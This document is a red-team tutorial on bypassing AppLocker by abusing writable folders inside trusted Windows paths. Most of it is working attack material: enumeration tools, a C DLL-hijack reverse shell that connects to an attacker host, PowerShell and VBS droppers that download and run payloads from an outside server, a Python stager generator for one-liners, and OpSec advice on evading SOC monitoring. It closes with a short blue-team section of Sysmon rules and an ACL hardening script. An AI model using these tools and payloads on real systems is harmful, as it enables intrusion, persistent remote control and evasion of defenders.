AppLocker Bypass: Trusted Folder Abuse
Scope: Red team / authorized penetration testing. Techniques map to MITRE ATT&CK T1574 (Hijack Execution Flow), T1574.001 (DLL Search Order Hijacking), T1036 (Masquerading), and T1574.010 (ServicesFile Permissions Weakness).
How Do AppLocker Path Rules Work?
AppLocker’s default ruleset grants execution rights using path-based rules. Out of the box, the three blessed paths are:
%WINDIR%\* → C:\Windows\...
%PROGRAMFILES%\* → C:\Program Files\...
%PROGRAMFILES(X86)%\* → C:\Program Files (x86)\...Anything inside these directories, regardless of who put it there, is trusted. AppLocker evaluates the path. That’s it. If the file lives under C:\Windows\, the rule fires, execution is allowed, and no further inspection happens.
The assumption baked into this model is that only administrators can write to these directories. On a hardened system, that assumption holds. On a real-world enterprise box, it almost never does.
Lab Setup
Reproduce every technique in an isolated snapshot environment before running anything on a real engagement.
VM Stack
┌─────────────────────────────────────────────────────────┐
│ Host Machine │
│ ┌──────────────────────┐ ┌────────────────────────┐ │
│ │ Windows 10/11 VM │ │ Kali Linux VM │ │
│ │ (Target) │ │ (Attacker) │ │
│ │ │ │ │ │
│ │ - AppLocker enabled │ │ - Python HTTP server │ │
│ │ - Standard user │ │ - nc / rlwrap │ │
│ │ - Sysmon installed │ │ - msfvenom (optional) │ │
│ │ - Audit logging on │ │ │ │
│ │ │ │ 192.168.56.101 │ │
│ │ 192.168.56.100 │ └────────────────────────┘ │
│ └──────────────────────┘ │
│ Host-only network: 192.168.56.0/24 │
└─────────────────────────────────────────────────────────┘Windows VM: AppLocker + Standard User Configuration
1# 1. Enable AppLocker service
2Set-Service -Name AppIDSvc -StartupType Automatic
3Start-Service -Name AppIDSvc
4
5# 2. Apply default rules via GPO (run as admin)
6# gpedit.msc → Computer Configuration → Windows Settings →
7# Security Settings → Application Control Policies → AppLocker
8# Right-click Executable Rules → Create Default Rules
9
10# 3. Enforce rules (not just Audit)
11# In each category → right-click → Properties → Enforcement: Enforced
12
13# 4. Verify enforcement is active
14Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections
15
16# 5. Create a standard (non-admin) test user
17$pw = ConvertTo-SecureString "Password1!" -AsPlainText -Force
18New-LocalUser -Name "testuser" -Password $pw -FullName "Test User"
19Add-LocalGroupMember -Group "Users" -Member "testuser"
20# Do NOT add to Administrators
21
22# 6. Install AccessChk for writable-path discovery
23# Download from https://learn.microsoft.com/en-us/sysinternals/
24# Place accesschk.exe in C:\Tools\ (whitelisted or run from admin session)
25
26# 7. Install Process Monitor
27# Download from Sysinternals; useful for watching file/registry ops live
28
29# 8. Enable process creation audit
30auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
31# Verify
32auditpol /get /subcategory:"Process Creation"Sysmon Configuration
# Download Sysmon + SwiftOnSecurity config
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/master/sysmonconfig-export.xml" `
-OutFile C:\Tools\sysmon-config.xml
# Install
C:\Tools\Sysmon64.exe -accepteula -i C:\Tools\sysmon-config.xml
# Monitor events in real time
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 20 |
Select-Object TimeCreated, Id, Message | Format-ListAttacker VM (Kali): Payload Delivery Server
# Catch reverse shells
rlwrap nc -lvnp 4444
# Serve payloads over HTTP
mkdir -p ~/lab/trusted-folders
cd ~/lab/trusted-folders
python3 -m http.server 8080Snapshot
Take a snapshot named "AppLocker-Trusted-Clean" after all configuration is done.
Roll back between technique tests to keep the environment consistent.Diagrams
AppLocker Path Trust Model
The core weakness is that AppLocker asks where a binary lives, never who put it there. Path trust is not the same as write-access control:
flowchart TD
ENG["AppLocker rule engine"] --> Q{"Is the binary path\ninside a trusted location?"}
Q -->|"%WINDIR% or %PROGRAMFILES% subtree"| ALLOW["ALLOW (path matched)"]
Q -->|"outside trusted tree"| DENY["DENY"]
ALLOW --> WHO{"Who wrote the file?\nAppLocker never checks this"}
WHO -->|"admin wrote it"| LEGIT["Legitimate use"]
WHO -->|"attacker wrote it"| BYPASS["BYPASS, still allowed"]
Writable Path Hierarchy Inside %WINDIR%
C:\Windows\ is trusted by the default rule, yet several of its subdirectories are writable by non-admins. Any one of them is a drop point:
graph TD
W["C:/Windows (trusted by default rule)"] --> T1["Tasks — world-writable on many builds"]
W --> T2["Tracing — writable by authenticated users"]
W --> T3["Temp — writable, often blocked by GPO"]
W --> T4["System32/spool/drivers/color — writable on some configs"]
W --> T5["SysWOW64/Tasks — 32-bit mirror of Tasks"]
T1 --> DROP["Drop payload in any writable subdir\n→ execute → AppLocker ALLOWS"]
T2 --> DROP
T3 --> DROP
T4 --> DROP
T5 --> DROP
Enumerate writable paths inside the trusted trees with:
accesschk.exe -wud "C:\Windows" -accepteula
accesschk.exe -wud "C:\Program Files" -accepteulaDirectory Junction Abuse Flow
A directory junction lets a trusted-looking path point at a directory you actually control, so AppLocker evaluates the trusted path while the file lives somewhere else:
flowchart TD
S1["1. Trusted but admin-only path\nC:/Windows/System32"] --> S2["2. Writable dir outside the trusted tree\nAppData/Local/Temp/junc_source"]
S2 --> S3["3. mklink /J C:/Windows/Tasks/junction_name → writable dir"]
S3 --> S4["4. Copy payload.exe into the writable dir"]
S4 --> S5["5. Execute via C:/Windows/Tasks/junction_name/payload.exe"]
S5 --> S6{"AppLocker evaluates the junction path"}
S6 -->|"matches the %WINDIR% subtree"| ALLOW["ALLOW — never saw the real write location"]
Environment Variable Manipulation Flow
If %WINDIR% is user-controllable, redefining it makes the trusted path rule expand to a directory the attacker owns:
flowchart TD
N["Normal: %WINDIR% → C:/Windows (set by SYSTEM at boot)"] --> A["Attacker sets Env:WINDIR to\nAppData/Local/Temp/fakedir"]
A --> E["Rule %WINDIR% subtree now expands to\nAppData/Local/Temp/fakedir"]
E --> D["Drop payload.exe into fakedir, execute"]
D --> ALLOW["Expanded path matches the rule → ALLOW"]
Modern systems fix this with locked %WINDIR% expansion in AppLocker, but legacy configs and some edge cases remain vulnerable.
The Attack Model
Path rules trust a location, not the files inside it. When a directory under a trusted path is writable by a standard user, those two facts combine into a bypass: drop a payload into the writable directory and AppLocker approves it on the strength of its path alone. The chain below shows the full sequence.
AppLocker path rule: C:\Windows\* → ALLOW
│
Non-admin user finds: C:\Windows\Tasks\ — world-writable
│
Drops payload.exe into that path
│
Executes it — AppLocker sees trusted path, fires ALLOW
│
Payload runs with user privileges, AppLocker never complainedThe bypass lives entirely in the gap between path trust and write access control. Find a writable directory inside a trusted path, place your payload, execute. Game over.
Phase 1: Enumeration (Finding Writable Trusted Paths)
Built-in writable directories (default Windows installs)
These directories are writable by all authenticated users on most Windows versions without any configuration changes. They exist under %WINDIR%, which AppLocker trusts completely:
C:\Windows\Tasks\
C:\Windows\Temp\
C:\Windows\tracing\
C:\Windows\Registration\CRMLog\
C:\Windows\System32\Com\dmp\
C:\Windows\System32\FxsTmp\
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\
C:\Windows\System32\spool\drivers\color\
C:\Windows\System32\spool\PRINTERS\
C:\Windows\System32\spool\servers\
C:\Windows\SysWOW64\Com\dmp\
C:\Windows\SysWOW64\FxsTmp\
C:\Windows\SysWOW64\Tasks\
C:\Windows\tracing\These are known. On your actual target, the installed software will have added more.
Custom Tool 1: PowerShell writable path enumerator
1# Find-WritableTrustedPaths.ps1
2# Recursively walks AppLocker-trusted directories and reports
3# every subdirectory the current user can write to.
4# Outputs results ranked by usefulness (exec-friendly paths first).
5
6param(
7 [string[]]$TrustedRoots = @(
8 $env:WINDIR,
9 $env:PROGRAMFILES,
10 ${env:PROGRAMFILES(X86)}
11 ),
12 [int]$MaxDepth = 4,
13 [switch]$Quiet
14)
15
16function Test-Writable {
17 param([string]$Path)
18 $probe = Join-Path $Path ([System.IO.Path]::GetRandomFileName())
19 try {
20 [System.IO.File]::WriteAllBytes($probe, [byte[]]@(0x4D, 0x5A))
21 Remove-Item $probe -Force -ErrorAction SilentlyContinue
22 return $true
23 } catch {
24 return $false
25 }
26}
27
28function Get-Depth {
29 param([string]$Path, [string]$Root)
30 $rel = $Path.Substring($Root.Length).TrimStart('\')
31 return ($rel -split '\\').Count
32}
33
34$results = [System.Collections.Generic.List[PSCustomObject]]::new()
35
36foreach ($root in $TrustedRoots | Where-Object { $_ -and (Test-Path $_) }) {
37 if (-not $Quiet) { Write-Host "[*] scanning $root ..." -ForegroundColor Cyan }
38
39 Get-ChildItem -Path $root -Recurse -Directory -ErrorAction SilentlyContinue |
40 Where-Object {
41 (Get-Depth $_.FullName $root) -le $MaxDepth
42 } |
43 ForEach-Object {
44 if (Test-Writable $_.FullName) {
45 # check if we can also create executables (some paths allow write but block .exe)
46 $exeProbe = Join-Path $_.FullName "test_$(Get-Random).exe"
47 $exeOk = $false
48 try {
49 [System.IO.File]::WriteAllBytes($exeProbe, [byte[]]@(0x4D,0x5A,0x90,0x00))
50 Remove-Item $exeProbe -Force -ErrorAction SilentlyContinue
51 $exeOk = $true
52 } catch {}
53
54 $results.Add([PSCustomObject]@{
55 Path = $_.FullName
56 ExeDrop = $exeOk
57 Root = $root
58 Depth = (Get-Depth $_.FullName $root)
59 })
60 }
61 }
62}
63
64# rank: exe-droppable first, then by depth (shallower = less conspicuous)
65$ranked = $results | Sort-Object -Property @(
66 @{ Expression = "ExeDrop"; Descending = $true },
67 @{ Expression = "Depth"; Descending = $false }
68)
69
70Write-Host "`n[+] Writable trusted paths ($($ranked.Count) found):`n" -ForegroundColor Green
71
72$ranked | ForEach-Object {
73 $tag = if ($_.ExeDrop) { "[EXE]" } else { "[WRT]" }
74 $col = if ($_.ExeDrop) { "Yellow" } else { "Gray" }
75 Write-Host " $tag $($_.Path)" -ForegroundColor $col
76}
77
78# export CSV for offline analysis
79$ranked | Export-Csv -Path ".\writable_trusted_paths.csv" -NoTypeInformation
80Write-Host "`n[*] saved to writable_trusted_paths.csv" -ForegroundColor Cyan# run
.\Find-WritableTrustedPaths.ps1
# deeper scan, all roots
.\Find-WritableTrustedPaths.ps1 -MaxDepth 6
# quiet — CSV only
.\Find-WritableTrustedPaths.ps1 -QuietCustom Tool 2: C# standalone enumerator (no PowerShell dependency)
Compile and drop this when PowerShell is locked down or Script Block Logging is hot.
1// PathFinder.cs — writable trusted path enumerator
2// Compile: csc.exe /out:PathFinder.exe PathFinder.cs
3// or: dotnet build
4
5using System;
6using System.Collections.Generic;
7using System.IO;
8using System.Security.AccessControl;
9using System.Security.Principal;
10
11class PathFinder {
12
13 static readonly string[] TrustedRoots = {
14 Environment.GetEnvironmentVariable("WINDIR") ?? @"C:\Windows",
15 Environment.GetEnvironmentVariable("PROGRAMFILES") ?? @"C:\Program Files",
16 Environment.GetEnvironmentVariable("PROGRAMFILES(X86)") ?? @"C:\Program Files (x86)"
17 };
18
19 static WindowsIdentity _identity = WindowsIdentity.GetCurrent();
20
21 static void Main(string[] args) {
22 int maxDepth = 4;
23 if (args.Length > 0) int.TryParse(args[0], out maxDepth);
24
25 Console.ForegroundColor = ConsoleColor.Cyan;
26 Console.WriteLine($"[*] running as {_identity.Name}");
27 Console.WriteLine($"[*] scanning trusted roots (depth {maxDepth})\n");
28 Console.ResetColor();
29
30 var results = new List<(string path, bool exeOk)>();
31
32 foreach (var root in TrustedRoots) {
33 if (!Directory.Exists(root)) continue;
34 Console.WriteLine($"[*] {root}");
35 Walk(root, root, 0, maxDepth, results);
36 }
37
38 results.Sort((a, b) => {
39 int exeCmp = b.exeOk.CompareTo(a.exeOk);
40 return exeCmp != 0 ? exeCmp : a.path.Length.CompareTo(b.path.Length);
41 });
42
43 Console.ForegroundColor = ConsoleColor.Green;
44 Console.WriteLine($"\n[+] {results.Count} writable path(s) found:\n");
45 Console.ResetColor();
46
47 foreach (var (path, exeOk) in results) {
48 var tag = exeOk ? "[EXE]" : "[WRT]";
49 Console.ForegroundColor = exeOk ? ConsoleColor.Yellow : ConsoleColor.Gray;
50 Console.WriteLine($" {tag} {path}");
51 }
52 Console.ResetColor();
53
54 // write to file
55 using var f = File.CreateText("writable_paths.txt");
56 foreach (var (path, exeOk) in results)
57 f.WriteLine($"{(exeOk ? "EXE" : "WRT")}\t{path}");
58 Console.WriteLine("\n[*] saved → writable_paths.txt");
59 }
60
61 static void Walk(string root, string dir, int depth, int maxDepth,
62 List<(string, bool)> results) {
63 if (depth > maxDepth) return;
64
65 string[] subs;
66 try { subs = Directory.GetDirectories(dir); }
67 catch { return; }
68
69 foreach (var sub in subs) {
70 var (canWrite, canExe) = TestWrite(sub);
71 if (canWrite) results.Add((sub, canExe));
72 Walk(root, sub, depth + 1, maxDepth, results);
73 }
74 }
75
76 static (bool write, bool exe) TestWrite(string dir) {
77 var rand = Path.GetRandomFileName();
78 var probe = Path.Combine(dir, rand);
79 var exeProbe = Path.Combine(dir, rand + ".exe");
80 bool write = false, exe = false;
81
82 try {
83 File.WriteAllBytes(probe, new byte[] { 0x4D, 0x5A });
84 File.Delete(probe);
85 write = true;
86 } catch { return (false, false); }
87
88 try {
89 // MZ header — valid enough to trigger AppLocker path eval
90 File.WriteAllBytes(exeProbe, new byte[] { 0x4D,0x5A,0x90,0x00,0x03,0x00 });
91 File.Delete(exeProbe);
92 exe = true;
93 } catch {}
94
95 return (write, exe);
96 }
97}csc.exe /out:PathFinder.exe PathFinder.cs
PathFinder.exe :: default depth 4
PathFinder.exe 6 :: depth 6Phase 2: Exploitation
Technique 1: Direct Execution from Writable Trusted Path
The simplest possible bypass. Drop your payload into a writable trusted directory, execute it. AppLocker checks the path, sees C:\Windows\Tasks\, fires the ALLOW rule.
:: copy payload to writable trusted path
copy payload.exe C:\Windows\Tasks\svchost_upd.exe
:: execute — AppLocker evaluates path, not content
C:\Windows\Tasks\svchost_upd.exe# PowerShell dropper — fetch and execute from trusted path
$target = "C:\Windows\Tasks\WindowsUpdate.exe"
$url = "http://10.10.10.10/payload.exe"
(New-Object Net.WebClient).DownloadFile($url, $target)
Start-Process $target -WindowStyle HiddenTechnique 2: DLL Drop + Search Order Hijacking
When a trusted binary runs from a trusted path, Windows searches for its DLL dependencies in a predictable order. If any dependency is missing, or can be intercepted at a writable trusted path, you win. Your DLL loads inside a fully trusted process.
DLL search order (SafeDllSearchMode enabled):
1. DLLs already in memory
2. Known DLLs (HKLM\SYSTEM\...\KnownDLLs)
3. The application's directory ← if this is writable, done
4. C:\Windows\System32\
5. C:\Windows\System\
6. C:\Windows\
7. Current working directory
8. PATH directoriesStep 1: Find a vulnerable binary
1# Find-DLLHijack.ps1
2# Finds trusted binaries that attempt to load DLLs that don't exist
3# Requires Process Monitor (ProcMon) trace or uses the known-missing list
4
5# Known DLLs missing from many Windows installations (common hijack targets)
6$KnownMissing = @(
7 "wbemcomn.dll", "ntwdblib.dll", "symsrv.dll",
8 "dbghelp.dll", "mscms.dll", "MPSigStub.exe",
9 "TSMSISrv.dll", "TSVIPSrv.dll", "Tsmsisi.dll"
10)
11
12# Find writable application directories for installed software
13$appDirs = @(
14 "$env:PROGRAMFILES",
15 "${env:PROGRAMFILES(X86)}"
16) | ForEach-Object {
17 Get-ChildItem $_ -Directory -ErrorAction SilentlyContinue
18} | Where-Object {
19 $probe = Join-Path $_.FullName "probe_$(Get-Random).tmp"
20 try {
21 [IO.File]::WriteAllBytes($probe, @(0))
22 Remove-Item $probe -Force
23 $true
24 } catch { $false }
25}
26
27Write-Host "[+] Writable application directories:"
28$appDirs | ForEach-Object { Write-Host " $($_.FullName)" }
29Write-Host "`n[+] High-value DLL hijack candidates:"
30$KnownMissing | ForEach-Object { Write-Host " $_" }Step 2: Build the hijack DLL
1/* hijack.c — DLL hijack payload
2 * Drops in place of a missing DLL in a trusted binary's directory.
3 * Forwards all expected exports to the real DLL so the host process
4 * stays stable (important for persistence — crashing the host burns the foothold).
5 *
6 * Compile:
7 * x86_64-w64-mingw32-gcc -shared -o target.dll hijack.c \
8 * -lws2_32 -mwindows -s -Wl,--build-id=none \
9 * -Wl,--enable-stdcall-fixup
10 */
11
12#define WIN32_LEAN_AND_MEAN
13#include <windows.h>
14#include <winsock2.h>
15#include <ws2tcpip.h>
16
17#define LHOST "10.10.10.10"
18#define LPORT 4444
19
20static HANDLE g_thread = NULL;
21
22/* ── reverse shell ───────────────────────────────────────────────────── */
23static DWORD WINAPI shell_thread(LPVOID p) {
24 (void)p;
25
26 WSADATA wsa;
27 WSAStartup(MAKEWORD(2,2), &wsa);
28
29 SOCKET sock = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP,
30 NULL, 0, WSA_FLAG_OVERLAPPED);
31 if (sock == INVALID_SOCKET) return 1;
32
33 struct sockaddr_in sa = {0};
34 sa.sin_family = AF_INET;
35 sa.sin_port = htons(LPORT);
36 inet_pton(AF_INET, LHOST, &sa.sin_addr);
37
38 if (connect(sock, (SOCKADDR*)&sa, sizeof(sa)) != 0) {
39 closesocket(sock);
40 WSACleanup();
41 return 1;
42 }
43
44 STARTUPINFOA si = {0};
45 si.cb = sizeof(si);
46 si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
47 si.wShowWindow = SW_HIDE;
48 si.hStdInput = (HANDLE)sock;
49 si.hStdOutput = (HANDLE)sock;
50 si.hStdError = (HANDLE)sock;
51
52 PROCESS_INFORMATION pi = {0};
53 char cmd[] = "cmd.exe";
54 CreateProcessA(NULL, cmd, NULL, NULL, TRUE,
55 CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
56
57 WaitForSingleObject(pi.hProcess, INFINITE);
58 CloseHandle(pi.hProcess);
59 CloseHandle(pi.hThread);
60 closesocket(sock);
61 WSACleanup();
62 return 0;
63}
64
65/* ── DllMain ─────────────────────────────────────────────────────────── */
66BOOL APIENTRY DllMain(HMODULE hMod, DWORD reason, LPVOID reserved) {
67 if (reason == DLL_PROCESS_ATTACH) {
68 DisableThreadLibraryCalls(hMod);
69 g_thread = CreateThread(NULL, 0, shell_thread, NULL, 0, NULL);
70 }
71 if (reason == DLL_PROCESS_DETACH && g_thread) {
72 CloseHandle(g_thread);
73 }
74 return TRUE;
75}
76
77/* ── stub exports — keeps host process from crashing ─────────────────── */
78/* Add real forwarding pragmas for the specific DLL you're impersonating */
79__declspec(dllexport) void Stub_Export_1(void) {}
80__declspec(dllexport) void Stub_Export_2(void) {}Step 3: Deploy
:: drop the hijack DLL where the vulnerable binary will find it
copy hijack.dll "C:\Program Files\VulnerableApp\wbemcomn.dll"
:: trigger the host binary — it loads your DLL, shell fires
"C:\Program Files\VulnerableApp\legit_app.exe"Technique 3: Directory Junction Abuse
A directory junction (symlink for directories) tricks AppLocker’s path evaluation. AppLocker resolves the path of the file, not the junction that points to it. If you create a junction inside a trusted path pointing to a directory you control, files in your directory inherit the trusted path evaluation.
1:: create a directory you control (outside trusted paths)
2mkdir C:\Users\Public\staging
3
4:: drop your payload there
5copy payload.exe C:\Users\Public\staging\update.exe
6
7:: create a junction from a writable trusted path → your staging dir
8:: requires mklink (built-in) — no admin needed for junctions to user-writable dirs
9mklink /J C:\Windows\Tasks\TrustMe C:\Users\Public\staging
10
11:: execute via the junction path — AppLocker sees C:\Windows\Tasks\TrustMe\update.exe
12C:\Windows\Tasks\TrustMe\update.exe 1# Junction-Bypass.ps1 — automated junction creation and payload execution
2
3param(
4 [string]$PayloadUrl = "http://10.10.10.10/payload.exe",
5 [string]$StagingDir = "$env:PUBLIC\svc",
6 [string]$TrustedBase = "C:\Windows\Tasks",
7 [string]$JunctionName = "TrustMe_$(Get-Random -Max 9999)"
8)
9
10$junctionPath = Join-Path $TrustedBase $JunctionName
11$payloadLocal = Join-Path $StagingDir "svchost.exe"
12$payloadViaJnc = Join-Path $junctionPath "svchost.exe"
13
14# prep staging area (outside trusted path)
15New-Item -ItemType Directory -Path $StagingDir -Force | Out-Null
16(New-Object Net.WebClient).DownloadFile($PayloadUrl, $payloadLocal)
17Write-Host "[+] payload staged at $payloadLocal"
18
19# create junction from trusted path → staging dir
20# cmd /c mklink needed — PowerShell New-Item junction requires elevation on some builds
21cmd /c "mklink /J `"$junctionPath`" `"$StagingDir`"" | Out-Null
22Write-Host "[+] junction: $junctionPath → $StagingDir"
23
24# execute via trusted junction path
25Start-Process -FilePath $payloadViaJnc -WindowStyle Hidden
26Write-Host "[*] launched: $payloadViaJnc"Technique 4: Environment Variable Manipulation
AppLocker expands environment variables when evaluating path rules. If %WINDIR% can be overridden in the user’s environment, the trusted path rule expands to a path you control.
1:: override WINDIR in user environment
2:: (doesn't affect system — only current user session and child processes)
3set WINDIR=C:\Users\Public\FakeWindows
4
5:: create matching directory structure
6mkdir C:\Users\Public\FakeWindows\Tasks
7
8:: drop payload
9copy payload.exe C:\Users\Public\FakeWindows\Tasks\update.exe
10
11:: AppLocker evaluates path as %WINDIR%\Tasks\ — resolves to our fake dir
12C:\Users\Public\FakeWindows\Tasks\update.exe 1# EnvVar-Bypass.ps1
2
3$fakeWin = "$env:PUBLIC\FakeWin"
4$fakeTasks = "$fakeWin\Tasks"
5$payload = "$fakeTasks\svchost.exe"
6$url = "http://10.10.10.10/payload.exe"
7
8New-Item -ItemType Directory -Path $fakeTasks -Force | Out-Null
9(New-Object Net.WebClient).DownloadFile($url, $payload)
10
11# override for this session and all child processes
12$env:WINDIR = $fakeWin
13[Environment]::SetEnvironmentVariable("WINDIR", $fakeWin, "User")
14
15Write-Host "[+] WINDIR overridden → $fakeWin"
16Write-Host "[+] payload at $payload"
17
18# launch in a new session that inherits the modified environment
19Start-Process $payload -WindowStyle HiddenNote: Modern Windows and hardened builds may not honor user-level
%WINDIR%overrides in AppLocker evaluation. Test on the specific target OS and patch level. This works reliably on Windows 7–10 pre-2020 patching.
Technique 5: Writable Path + Renamed Interpreter
A clean, reliable technique: copy a trusted script interpreter into a writable trusted directory, then use it to execute your payload. AppLocker allows both the interpreter (trusted binary, trusted path) and the script (same trusted path).
:: copy cscript into a writable trusted path
copy C:\Windows\System32\cscript.exe C:\Windows\Tasks\cshost.exe
:: drop script payload in same trusted directory
echo WScript.Shell.Run "powershell -nop -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/s.ps1')" > C:\Windows\Tasks\init.vbs
:: execute — AppLocker sees two trusted-path files
C:\Windows\Tasks\cshost.exe //nologo C:\Windows\Tasks\init.vbsTechnique 6: Trusted Path Payload Stager (Full Automation)
1#!/usr/bin/env python3
2# trusted_path_stager.py
3# Given a list of writable trusted paths (from PathFinder output),
4# selects the best drop location, uploads payload, and generates
5# the execution command.
6
7import os
8import sys
9import socket
10import struct
11import argparse
12from pathlib import Path
13
14# Known writable trusted directories — ranked by stealth (lower = stealthier name)
15KNOWN_WRITABLE = [
16 r"C:\Windows\System32\spool\drivers\color", # rarely monitored
17 r"C:\Windows\tracing",
18 r"C:\Windows\System32\Com\dmp",
19 r"C:\Windows\System32\FxsTmp",
20 r"C:\Windows\Registration\CRMLog",
21 r"C:\Windows\Tasks", # common, slightly noisier
22 r"C:\Windows\Temp", # noisiest — avoid if possible
23]
24
25LOLBINS = {
26 "cscript": r"C:\Windows\System32\cscript.exe",
27 "wscript": r"C:\Windows\System32\wscript.exe",
28 "mshta": r"C:\Windows\System32\mshta.exe",
29 "rundll32": r"C:\Windows\System32\rundll32.exe",
30 "regsvr32": r"C:\Windows\System32\regsvr32.exe",
31}
32
33def generate_dropper_ps1(drop_path: str, payload_url: str, lolbin: str = None) -> str:
34 payload_name = "svchost_" + str(hash(payload_url) & 0xffff) + ".exe"
35 target = drop_path.rstrip("\\") + "\\" + payload_name
36
37 lines = [
38 f'# trusted path stager — generated by trusted_path_stager.py',
39 f'$target = "{target}"',
40 f'$url = "{payload_url}"',
41 f'',
42 f'# fetch and write to trusted path',
43 f'(New-Object Net.WebClient).DownloadFile($url, $target)',
44 f'Write-Host "[+] dropped to $target"',
45 f'',
46 ]
47
48 if lolbin:
49 # execute via a LOLBin copy in the same trusted directory
50 lolbin_src = LOLBINS.get(lolbin, r"C:\Windows\System32\cscript.exe")
51 lolbin_drop = drop_path.rstrip("\\") + f"\\{lolbin}host.exe"
52 lines += [
53 f'# copy interpreter to same trusted path',
54 f'Copy-Item "{lolbin_src}" "{lolbin_drop}" -Force',
55 f'Start-Process "{lolbin_drop}" -ArgumentList "//nologo $target" -WindowStyle Hidden',
56 ]
57 else:
58 lines += [
59 f'# execute directly',
60 f'Start-Process $target -WindowStyle Hidden',
61 ]
62
63 lines += [
64 f'Write-Host "[*] launched"',
65 ]
66
67 return "\n".join(lines)
68
69def generate_cmd_oneliner(drop_path: str, payload_url: str) -> str:
70 payload_name = "update_kb.exe"
71 target = drop_path.rstrip("\\") + "\\" + payload_name
72 return (
73 f'powershell -nop -w hidden -ep bypass -c "'
74 f'(New-Object Net.WebClient).DownloadFile('
75 f"\\'{payload_url}\\',\\'{target}\\');"
76 f'Start-Process \\'{target}\\' -WindowStyle Hidden"'
77 )
78
79def main():
80 p = argparse.ArgumentParser(description="Trusted Path Stager Generator")
81 p.add_argument("--url", required=True, help="payload URL")
82 p.add_argument("--path", default=None, help="override drop path")
83 p.add_argument("--lolbin", default=None, choices=list(LOLBINS.keys()),
84 help="copy and use a LOLBin from the same trusted path")
85 p.add_argument("--oneliner", action="store_true", help="output cmd one-liner only")
86 args = p.parse_args()
87
88 drop_path = args.path or KNOWN_WRITABLE[0]
89
90 print(f"[*] target drop path : {drop_path}")
91 print(f"[*] payload url : {args.url}")
92 if args.lolbin:
93 print(f"[*] LOLBin : {args.lolbin}")
94 print()
95
96 if args.oneliner:
97 print("[CMD one-liner]")
98 print(generate_cmd_oneliner(drop_path, args.url))
99 else:
100 print("[PowerShell dropper]")
101 print("-" * 60)
102 print(generate_dropper_ps1(drop_path, args.url, args.lolbin))
103
104if __name__ == "__main__":
105 main() 1# generate a PS1 dropper for the stealthiest known writable path
2python3 trusted_path_stager.py --url http://10.10.10.10/payload.exe
3
4# use cscript LOLBin copy in the same trusted dir
5python3 trusted_path_stager.py --url http://10.10.10.10/shell.vbs --lolbin cscript
6
7# cmd one-liner (for macros, run dialog, etc.)
8python3 trusted_path_stager.py --url http://10.10.10.10/payload.exe --oneliner
9
10# specify custom drop path (from PathFinder output)
11python3 trusted_path_stager.py \
12 --url http://10.10.10.10/payload.exe \
13 --path "C:\Windows\System32\spool\drivers\color"OpSec Notes
C:\Windows\Tempis the noisiest writable trusted path — most blue teams monitor it explicitly . Preferspool\drivers\color,tracing, orFxsTmpwhich are rarely watched.- Payload naming matters. Files named
svchost.exe,lsass.exe, orexplorer.exein non-standard locations are instant Tier-1 alerts on any SOC running Sysmon. Use plausible update or service names:WmiApSrv.exe,MpCmdRun.exe,WUDFHost.exe. - Directory junctions are logged by Sysmon EID 11 (FileCreate) when the junction itself is created, but traversal through the junction typically does not generate separate path-resolution events — making it quieter than a straight file drop.
- Environment variable manipulation (
%WINDIR%) leaves a trace in the registry if you useSetEnvironmentVariableat theUserscope. Session-only (set WINDIR=...) is cleaner but dies with the process. - DLL hijacking is the stealthiest long-term play — the host process is legitimate, signed, expected to run. Your DLL lives inside a trusted application directory. No suspicious child processes unless your shell spawns one.
Detection (Blue Team)
| signal | event |
|---|---|
Executable written to C:\Windows\Tasks\, C:\Windows\Temp\, or other writable trusted dirs | Sysmon EID 11 — FileCreate |
| Process launched from writable trusted path | Sysmon EID 1 — Image path analysis |
Junction created inside C:\Windows\* | Sysmon EID 11 — TargetFilename contains junction |
%WINDIR% overridden at user level | Registry EID 13 — HKCU\Environment\WINDIR |
| DLL loaded from application directory (non-system DLL) | Sysmon EID 7 — ImageLoad, check Signed + SignatureStatus |
| Known-writable trusted path in process Image field | Sysmon EID 1 — custom alert rule |
Sysmon file creation rule:
1<FileCreate onmatch="include">
2 <!-- executables written to writable trusted paths -->
3 <TargetFilename condition="contains">Windows\Tasks\</TargetFilename>
4 <TargetFilename condition="contains">Windows\tracing\</TargetFilename>
5 <TargetFilename condition="contains">spool\drivers\color\</TargetFilename>
6 <TargetFilename condition="contains">System32\Com\dmp\</TargetFilename>
7 <TargetFilename condition="contains">System32\FxsTmp\</TargetFilename>
8</FileCreate>
9
10<ProcessCreate onmatch="include">
11 <!-- processes launched from known writable trusted paths -->
12 <Image condition="contains">Windows\Tasks\</Image>
13 <Image condition="contains">Windows\tracing\</Image>
14 <Image condition="contains">spool\drivers\color\</Image>
15</ProcessCreate>Baseline hardening:
1# Harden-TrustedPaths.ps1 — remove write access from trusted writable paths
2# Run as Administrator
3
4$harden = @(
5 "C:\Windows\Tasks",
6 "C:\Windows\tracing",
7 "C:\Windows\System32\Com\dmp",
8 "C:\Windows\System32\FxsTmp",
9 "C:\Windows\System32\spool\drivers\color",
10 "C:\Windows\System32\spool\PRINTERS",
11 "C:\Windows\Registration\CRMLog"
12)
13
14foreach ($dir in $harden) {
15 if (-not (Test-Path $dir)) { continue }
16
17 $acl = Get-Acl $dir
18 $user = [System.Security.Principal.SecurityIdentifier]"S-1-5-32-545" # BUILTIN\Users
19
20 # find and remove write rules for Users
21 $toRemove = $acl.Access | Where-Object {
22 $_.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier]) -eq $user -and
23 ($_.FileSystemRights -band [System.Security.AccessControl.FileSystemRights]::Write) -ne 0
24 }
25
26 foreach ($rule in $toRemove) {
27 $acl.RemoveAccessRule($rule) | Out-Null
28 Write-Host "[+] removed write for Users: $dir"
29 }
30
31 Set-Acl -Path $dir -AclObject $acl
32}Running this hardening script tightens the most commonly abused paths. Combine with WDAC for enforcement that doesn’t rely on ACL integrity.
MITRE ATT&CK
| technique | ID | description |
|---|---|---|
| Hijack Execution Flow | T1574 | Abusing DLL search order and writable paths |
| DLL Search Order Hijacking | T1574.001 | Dropping DLL in trusted app directory |
